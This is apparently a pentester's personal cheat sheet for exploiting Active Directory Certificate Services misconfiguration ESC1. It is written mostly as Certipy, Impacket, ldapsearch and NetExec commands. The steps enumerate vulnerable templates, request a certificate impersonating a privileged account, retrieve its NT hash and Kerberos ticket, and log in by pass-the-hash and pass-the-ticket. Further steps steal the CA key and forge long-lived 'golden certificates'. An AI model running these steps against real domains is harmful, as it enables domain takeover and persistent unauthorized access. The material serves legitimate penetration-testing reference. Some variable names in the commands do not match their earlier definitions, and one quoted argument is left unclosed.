These are some scribbles if I ever need to look up how to exploit AD CS misconfigurations, such as ESC1. I might expand on this later…
|
ℹ️
|
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity. |
Environment
For this article, we’re assuming the following environment (change accordingly):
user $ echo $SHELL
/usr/bin/fish
user $ which certipy # https://github.com/ly4k/Certipy
/usr/bin/certipy
user $ which ldapsearch
/usr/bin/ldapsearch
user $ which smbclient.py # https://github.com/fortra/impacket
/usr/bin/smbclient.py
user $ which ewp # https://github.com/adityatelange/evil-winrm-py
/usr/bin/ewp
user $ which nxc # https://github.com/Pennyw0rth/NetExec
/usr/bin/nxc
user $ set win_domain corp.local
user $ set dc_fqdn dc01.{$win_domain}
user $ set dc_ip (dig +short dc01.corp.local)
user $ set ca_fqdn ca01.{$win_domain}
user $ set ca_ip (dig +short ca01.corp.local)
user $ set ca_name CORPROOTCA
user $ set esc1_template_name CorpAuth
user $ set regular_user_account gijsbert
user $ set privileged_user_account wilbertEnum
Enum AD CS vulnerabilities:
user $ certipy find -u {$regular_user_account} -p "$regular_user_passwd" -dc-ip {$dc_ip} -vulnerable -stdoutExploiting ESC1
|
ℹ️
|
Further mitigations by Microsoft now also demand including the RID (i.e. setting -user-id, when using Impacket’s ticketer.py) of the privileged user you want to create the ticket for (e.g. domain admin).
You can lookup the RID in the secretsdump.py output (e.g. corp.local\wilbert:1108:xxx[…]xxx:xxx[…]xxx:::, where 1108 is the RID), or via LDAP (e.g. using ldapsearch, as will be discussed).
|
Get the domain SID:
user $ lookupsid.py "$win_domain/$regular_user_account:$regular_user_passwd@$dc_ip" 0Also retrieve and the privileged user’s RID (e.g. from the secretsdump.py output).
Or, lookup the domain SID and privileged user’s RID via ldapsearch:
user $ ldapsearch -x -D {$regular_user_account}@{$win_domain} -w "$regular_user_passwd" -b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) -s sub "sAMAccountName=$privileged_user_account" -H ldap://{$dc_ip} ObjectSIDThen convert the base64 SID, e.g. by using a script (click to expand/collapse)
#!/usr/bin/env fish
# This is a Fish port of https://serverfault.com/a/852338
# Read Base-64 encoded objectSid from first argument
set -l OBJECT_ID $argv[1]
# Decode it, hex-dump it and store it in an array
set -l G (echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 "%02X\n"')
# SID in HEX
# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
# LESA = Little Endian Sub Authority
# BESA = Big Endian Sub Authority
# LERID = Little Endian Relative ID
# BERID = Big Endian Relative ID
set -l BESA2 "$G[9]$G[10]$G[11]$G[12]"
set -l BESA3 "$G[13]$G[14]$G[15]$G[16]"
set -l BESA4 "$G[17]$G[18]$G[19]$G[20]"
set -l BESA5 "$G[21]$G[22]$G[23]$G[24]"
set -l BERID "$G[25]$G[26]$G[27]$G[28]"
# Compact LE reordering patterns
set -l U32 '^(.{2})(.{2})(.{2})(.{2})$' # 4 bytes (8 hex)
set -l LESA1 "$G[3]$G[4]$G[5]$G[6]$G[7]$G[8]"
set -l LESA2 (string replace -r $U32 '\4\3\2\1' $BESA2)
set -l LESA3 (string replace -r $U32 '\4\3\2\1' $BESA3)
set -l LESA4 (string replace -r $U32 '\4\3\2\1' $BESA4)
set -l LESA5 (string replace -r $U32 '\4\3\2\1' $BESA5)
set -l LERID (string replace -r $U32 '\4\3\2\1' $BERID)
set -l LE_SID_HEX "$LESA1-$LESA2-$LESA3-$LESA4-$LESA5-$LERID"
# Initial SID value which is used to construct actual SID
set -l SID "S-1"
# Convert LE_SID_HEX to decimal values and append it to SID as a string
for OBJECT in (string split -- '-' $LE_SID_HEX)
test -n "$OBJECT"; and set SID "$SID-"(printf "%d" 0x$OBJECT)
end
echo $SIDThen run the script, appending the objectSid:
user $ fish ./sid.fish AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxOr even combine in a single command like so:
$ fish ./sid.fish (ldapsearch -x -D {$regular_user_account}@{$win_domain} \
-w "$regular_user_passwd" \
-b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
-s sub "sAMAccountName=$privileged_user_account" \
-H ldap://{$dc_ip} ObjectSID | grep objectSid | cut -d " " -f 2)
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxThe RID is that array of numbers of the string (e.g. that last xxxx), and the domain SID is everything up to that last part (e.g. S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx).
Set the SID and RID accordingly:
user $ set privileged_user_rid xxxx
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxxRequesting a certificate for another (higher privileged) account:
user $ certipy req \
-u {$regular_user_account} \
-p "$regular_user_passwd" \
-dc-ip {$dc_ip} \
-target {$dc_fqdn} \
-ca {$adcs_ca} \
-template {$adcs_vuln_template} \
-upn {$privileged_user_account}@{$win_domain} \
-sid {$win_domain_sid}-{$privileged_user_rid}
user $ certipy auth \
-pfx ~/demo/{$privileged_user_account}.pfx \
-domain {$win_domain} \
-dc-ip {$dc_ip}The above should also retrieve a valid Kerberos Ticket (ccache file), and password hash of the targeted account.
user $ set privileged_user_hash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
user $ export KRB5CCNAME={$privileged_user_account}.ccache
user $ klistTry logging in with the NTHash (PtH; less stealthy):
user $ ewp -i {$dc_ip} -u {$privileged_user_account} -H {$privileged_user_hash}Try logging in with the Kerberos Ticket (PtT):
user $ nxc wmi {$dc_ip} --use-kcache --kdcHost {$dc_ip} -x whoami
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} \
{$win_domain}/{$privileged_user_account}@{$dc_fqdn}Golden Certificates
If you managed to take over a domain admin you can also backup (steal) the CA root / subordinate certificate. This will allow you to forge long-lived (possibly decades, depending on the CA certificate’s validity) certificates without needing to manually request them from the CA:
user $ certipy ca \
-backup \
-ca {$adcs_ca} \
-username {$privileged_user_account} \
-target-ip {$dc_ip} \
-hashes {$privileged_user_hash}Retrieve and set the CRL URI:
user $ openssl pkcs12 \
-in ~/demo/{$privileged_user_account}.pfx \
-info -nokeys -clcerts 2>/dev/null | \
sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' | \
openssl x509 -text -noout
user $ set adcs_crl 'ldap:///CN=CORPROOTCA,CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'Forge a certificate:
user $ certipy forge \
-ca-pfx {$adcs_ca}.pfx \
-upn {$privileged_user_account}@{$win_domain} \
-sid {$win_domain_sid}-{$privileged_user_rid} \
-crl 'ldap:///CN=CORPROOTCA,CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPointAbuse the forge certificate:
user $ certipy auth \
-pfx {$privileged_user_account}_forged.pfx \
-domain {$win_domain} \
-dc-ip {$dc_ip}From here you can try logging in using PtH / PtT as previously described.